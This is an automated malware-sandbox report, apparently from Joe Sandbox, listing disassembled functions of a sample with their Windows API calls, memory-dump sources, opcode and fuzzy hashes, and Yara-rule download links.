                              • Opcode ID: 49ccd75876ce99cd15ee405d1ac93d8c116bb45471ccb95599c5d22b34275644
                              • Instruction ID: 510e71718d61fb01ae158a6e5fa7ad280301b7661e5b3aef53c80a3471921dd4
                              • Opcode Fuzzy Hash: 49ccd75876ce99cd15ee405d1ac93d8c116bb45471ccb95599c5d22b34275644
                              • Instruction Fuzzy Hash: 70217E70200A00EFCB20DF25D9D4A2A77AABF48712F10896DE906CB356D739EC45CB69
                              Function 0041F6F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • _malloc.LIBCMT ref: 0041F707
                                • Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
                                • Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
                                • Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600
                              • _free.LIBCMT ref: 0041F71A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AllocateHeap_free_malloc
                              • String ID: [B
                              • API String ID: 1020059152-632041663
                              • Opcode ID: a147dbbc68d3dd3311601ddf04658a1c9df9f8119054b67091eb48bbc5a1b0d2
                              • Instruction ID: 066e14217b5799beb7557260d36092b09813ce611e9d099bbd870b86b34de80c
                              • Opcode Fuzzy Hash: a147dbbc68d3dd3311601ddf04658a1c9df9f8119054b67091eb48bbc5a1b0d2
                              • Instruction Fuzzy Hash: 0211EB32454615AACB213F75EC086DB3BA49F443A5B20053BF824CA2D1DB7C88C7C7AC
                              Function 00436C6E Relevance: 10.5, APIs: 7, Instructions: 49threadCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00436B19: GetProcessHeap.KERNEL32(00000008,0000000C,00436C79), ref: 00436B1D
                                • Part of subcall function 00436B19: RtlAllocateHeap.KERNEL32(00000000), ref: 00436B24
                              • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 00436C88
                              • GetCurrentProcess.KERNEL32(?,00000000), ref: 00436C91
                              • DuplicateHandle.KERNEL32(00000000,?,00000000), ref: 00436C9A
                              • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000), ref: 00436CA6
                              • GetCurrentProcess.KERNEL32(?,00000000,?,00000000), ref: 00436CAF
                              • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 00436CB2
                              • CreateThread.KERNEL32(00000000,00000000,Function_00036C2B,00000000,00000000,00000000), ref: 00436CCA
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Process$Current$DuplicateHandleHeap$AllocateCreateThread
                              • String ID:
                              • API String ID: 1422014791-0
                              • Opcode ID: 3f80535c3287afe012eec8eac85a3d96c91e040866ec74b6355b9bdb3dfb6838
                              • Instruction ID: 99b39fe8e7f3ac854e5c8e3994335d5d6f6ef2f737fc2b72a46a077924210789
                              • Opcode Fuzzy Hash: 3f80535c3287afe012eec8eac85a3d96c91e040866ec74b6355b9bdb3dfb6838
                              • Instruction Fuzzy Hash: A301E6753403047BD620EB65DC96F5B775CEB89B50F114819FA04DB1D1C6B5E8008B78
                              Function 0043028B Relevance: 9.3, APIs: 6, Instructions: 255COMMON
                              Download Yara Rule
                              APIs
                              • GetClientRect.USER32(?,?), ref: 004302E6
                              • GetWindowRect.USER32(00000000,?), ref: 00430316
                              • GetClientRect.USER32(?,?), ref: 00430364
                              • GetSystemMetrics.USER32(0000000F), ref: 004303B1
                              • GetWindowRect.USER32(?,?), ref: 004303C3
                              • ScreenToClient.USER32(?,?), ref: 004303EC
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Rect$Client$Window$MetricsScreenSystem
                              • String ID:
                              • API String ID: 3220332590-0
                              • Opcode ID: b722cec4de1de3fe17d9867fbb91cd497d3f089f761d48fb585960e999a4a017
                              • Instruction ID: e4235e81f7515d2978e088f6fadb01cec8eb5fe04dcc4a3bbd5a83ea815e8f28
                              • Opcode Fuzzy Hash: b722cec4de1de3fe17d9867fbb91cd497d3f089f761d48fb585960e999a4a017
                              • Instruction Fuzzy Hash: 13A14875A0070A9BCB10CFA8C594BEFB7B1FF58314F00961AE9A9E7350E734AA44CB54
                              Function 004577E9 Relevance: 9.2, APIs: 6, Instructions: 217COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _malloc_wcslen$_strcat_wcscpy
                              • String ID:
                              • API String ID: 1612042205-0
                              • Opcode ID: 1b9af233a2167b707cd0fb77bd31ffbeeda7ae7db272e33850c6ed6ee2362a10
                              • Instruction ID: da8a40d04f443fc8bffa22af6bb0a7b3fb41b3e40a14b17b7fca75945af8e81c
                              • Opcode Fuzzy Hash: 1b9af233a2167b707cd0fb77bd31ffbeeda7ae7db272e33850c6ed6ee2362a10
                              • Instruction Fuzzy Hash: 40914A74604205EFCB10DF98D4C09A9BBA5FF48305B60C66AEC0A8B35AD738EE55CBD5
                              Function 0044F1D3 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 422COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove_strncmp
                              • String ID: >$U$\
                              • API String ID: 2666721431-237099441
                              • Opcode ID: 22f22e1ac28dc69493aec85f3eea1e1d82883446f00fc80900d5fd24c0790888
                              • Instruction ID: 902f5a6c35c0d49260658601fd29bdf8c292b60929ab84f6d376942388b5a00c
                              • Opcode Fuzzy Hash: 22f22e1ac28dc69493aec85f3eea1e1d82883446f00fc80900d5fd24c0790888
                              • Instruction Fuzzy Hash: 8DF1B170A00249CFEB14CFA9C8906AEFBF1FF89304F2485AED845A7341D779A946CB55
                              Function 0044C514 Relevance: 9.2, APIs: 6, Instructions: 163windowkeyboardCOMMON
                              Download Yara Rule
                              APIs
                              • GetKeyboardState.USER32(?), ref: 0044C570
                              • SetKeyboardState.USER32(00000080), ref: 0044C594
                              • PostMessageW.USER32(?,00000100,?,?), ref: 0044C5D5
                              • PostMessageW.USER32(?,00000104,?,?), ref: 0044C60D
                              • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C62F
                              • SendInput.USER32(00000001,?,0000001C), ref: 0044C6C2
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessagePost$KeyboardState$InputSend
                              • String ID:
                              • API String ID: 2221674350-0
                              • Opcode ID: 253f2b6e14f8b29283c151e9eff2603b50f4fedb3541a599f467ca45a100d6c4
                              • Instruction ID: 625ea0eb49cc588760ebb6bc0eb208289033378f73eea84c13a2ca11a8b118cf
                              • Opcode Fuzzy Hash: 253f2b6e14f8b29283c151e9eff2603b50f4fedb3541a599f467ca45a100d6c4
                              • Instruction Fuzzy Hash: D1514A725001187AEB109FA99C81BFFBB68AF9E311F44815BFD8496242C379D941CBA8
                              Function 00444BFC Relevance: 9.2, APIs: 6, Instructions: 163COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcscpy$_wcscat
                              • String ID:
                              • API String ID: 2037614760-0
                              • Opcode ID: d8b18b1f5d4952a0fc5752811c1295952a1c4566f52136af492825f039622e45
                              • Instruction ID: 99b1098f8f7a3a84d55f117cb3556dd5d93458401dda30520ad7f1c57b96c0d6
                              • Opcode Fuzzy Hash: d8b18b1f5d4952a0fc5752811c1295952a1c4566f52136af492825f039622e45
                              • Instruction Fuzzy Hash: 0741357190011466DB34EF5998C1BFF7368EFE6314F84455FFC4287212DB2DAA92C2A9
                              Function 00451B42 Relevance: 9.1, APIs: 6, Instructions: 144memoryCOMMON
                              Download Yara Rule
                              APIs
                              • GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
                              • VariantCopy.OLEAUT32(?,?), ref: 00451BF8
                              • VariantCopy.OLEAUT32(?,?), ref: 00451C0E
                              • VariantCopy.OLEAUT32(?,?), ref: 00451C27
                              • VariantClear.OLEAUT32(?), ref: 00451CA1
                              • SysAllocString.OLEAUT32(00000000), ref: 00451CBA
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Variant$Copy$AllocClearErrorLastString
                              • String ID:
                              • API String ID: 960795272-0
                              • Opcode ID: 218b2f6110521206867dfa84a42cd28f2b67ec3390fd0729a790b06cd777bcc7
                              • Instruction ID: e234943060a9aef7ccdf580943a4f321f6ba3cfb1df2bc58669f78ff50eabc4c
                              • Opcode Fuzzy Hash: 218b2f6110521206867dfa84a42cd28f2b67ec3390fd0729a790b06cd777bcc7
                              • Instruction Fuzzy Hash: C751AE719042099FCB14DF65CC84BAAB7B4FF48300F14856EED05A7361DB79AE45CBA8
                              Function 00447BA8 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                              Download Yara Rule
                              APIs
                              • BeginPaint.USER32(00000000,?), ref: 00447BDF
                              • GetWindowRect.USER32(?,?), ref: 00447C5D
                              • ScreenToClient.USER32(?,?), ref: 00447C7B
                              • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C8E
                              • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447CD5
                              • EndPaint.USER32(?,?), ref: 00447D13
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                              • String ID:
                              • API String ID: 4189319755-0
                              • Opcode ID: 0de1757924998e3fd5473b1ac31060e8ba53e31114793872216692834f921a18
                              • Instruction ID: 4e3fb435071a661ad846631c1082d1486cc319c76cae6976ccfd06e2d512f03c
                              • Opcode Fuzzy Hash: 0de1757924998e3fd5473b1ac31060e8ba53e31114793872216692834f921a18
                              • Instruction Fuzzy Hash: DC417F706042019FE310DF14D8C4F7B7BA8EB86724F14466EF9A487391CB74A806CB69
                              Function 0044900D Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,00001024,00000000,00000000), ref: 0044908B
                              • SendMessageW.USER32(?,00000409,00000000,?), ref: 0044909F
                              • SendMessageW.USER32(?,0000111E,00000000,00000000), ref: 004490B3
                              • InvalidateRect.USER32(?,00000000,00000001,?,0000111E,00000000,00000000,?,00000409,00000000,?), ref: 004490C9
                              • 742845F0.USER32(?,000000F0,?,00001024,00000000,00000000,?,0000111E,00000000,00000000,?,00000409,00000000,?), ref: 004490D4
                              • 742859E0.USER32(?,000000F0,00000000,?,000000F0,?,00001024,00000000,00000000,?,0000111E,00000000,00000000,?,00000409,00000000), ref: 004490E1
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$742845742859InvalidateRect
                              • String ID:
                              • API String ID: 3483730924-0
                              • Opcode ID: 2001084b9f030ce18b996af9061ac6ceee4bb7592284355317d8a12df4a6bddd
                              • Instruction ID: 8674d855734444f977eaeabaa32478bd653fbe911923e0a4a3d3eb28cec46bd0
                              • Opcode Fuzzy Hash: 2001084b9f030ce18b996af9061ac6ceee4bb7592284355317d8a12df4a6bddd
                              • Instruction Fuzzy Hash: 2531E135240104AFF724CF48DC89FBB77B9EB49320F10851AFA559B290CA79AD41DB69
                              Function 00440A0D Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                              Download Yara Rule
                              APIs
                              • ShowWindow.USER32(?,00000000), ref: 00440A8A
                              • EnableWindow.USER32(?,00000000), ref: 00440AAF
                              • ShowWindow.USER32(?,00000000), ref: 00440B18
                              • ShowWindow.USER32(?,00000004), ref: 00440B2B
                              • EnableWindow.USER32(?,00000001), ref: 00440B50
                              • SendMessageW.USER32(?,0000130C,?,00000000), ref: 00440B75
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$Show$Enable$MessageSend
                              • String ID:
                              • API String ID: 642888154-0
                              • Opcode ID: 7c24049b1d37fdb6142be8766dc22fb93f1068172a9e83c57f7795f596ff73c7
                              • Instruction ID: a5db896fb2ae06c85211a956f566d4ff66a2da6af11bfa2c2b637766cd700386
                              • Opcode Fuzzy Hash: 7c24049b1d37fdb6142be8766dc22fb93f1068172a9e83c57f7795f596ff73c7
                              • Instruction Fuzzy Hash: F4413C346003409FEB25CF24C588BA67BE1FF55304F1885AAEB599B3A1CB78A851CB58
                              Function 0047974B Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 349COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Variant$Copy$ClearErrorLast
                              • String ID: NULL Pointer assignment$Not an Object type
                              • API String ID: 2487901850-572801152
                              • Opcode ID: bb0f7491a1d8fcb1a9e92f7a9394b8a60bc93380917bfa262315a66d62baea93
                              • Instruction ID: 7224d39ad4dd36db717bb7decd6d6f3456075e50b8db1d036073f09e8ed5fad7
                              • Opcode Fuzzy Hash: bb0f7491a1d8fcb1a9e92f7a9394b8a60bc93380917bfa262315a66d62baea93
                              • Instruction Fuzzy Hash: 70C1AFB1A00209ABDF14DF98C881FEEB7B9EB44304F10C55EE909AB341D7799D85CBA5
                              Function 00448804 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044881F
                              • EnableWindow.USER32(?,00000000), ref: 00448B5C
                              • EnableWindow.USER32(?,00000001), ref: 00448B72
                              • ShowWindow.USER32(?,00000000), ref: 00448BE8
                              • ShowWindow.USER32(?,00000004), ref: 00448BF4
                              • EnableWindow.USER32(?,00000001), ref: 00448C09
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$Enable$Show$MessageSend
                              • String ID:
                              • API String ID: 1871949834-0
                              • Opcode ID: 24295af7dc8a36502def6d29e9c9bc5dd9332af4054e76ab47d27171ed2ecc38
                              • Instruction ID: ab733961f10eda6fa12bc0977b233c6b2b6736debfa9bed553c9f015fe8cd40e
                              • Opcode Fuzzy Hash: 24295af7dc8a36502def6d29e9c9bc5dd9332af4054e76ab47d27171ed2ecc38
                              • Instruction Fuzzy Hash: 6931B3B17443815BF7258E24CCC4BAFB7D0EB95345F08482EF58196291DBAC9845C75A
                              Function 00441078 Relevance: 9.1, APIs: 6, Instructions: 86COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b4f5e70efc1acb4fe019c63046a51222323f6892fbde794835cc8a87d9f58231
                              • Instruction ID: c6101d665a98d140be62f029472ab7f8db1b0ce4c02a7c647e8453833b83309f
                              • Opcode Fuzzy Hash: b4f5e70efc1acb4fe019c63046a51222323f6892fbde794835cc8a87d9f58231
                              • Instruction Fuzzy Hash: 5F21B672204110ABEB108F699C85B6F7798EB49370F24463BF625C62E0DB74D8C1C76D
                              Function 00471A38 Relevance: 9.1, APIs: 6, Instructions: 79windowCOMMON
                              Download Yara Rule
                              APIs
                              • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00471A45
                              • 6FD82980.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,00000000,?,00000001), ref: 00471A86
                              • SendMessageW.USER32(?,00001303,00000000,00000000), ref: 00471AA8
                              • 6FD7C400.COMCTL32(?,?,?,?,00000000,?,00000001), ref: 00471ABF
                              • SendMessageW.USER32 ref: 00471AE3
                              • DestroyCursor.USER32(?), ref: 00471AF4
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
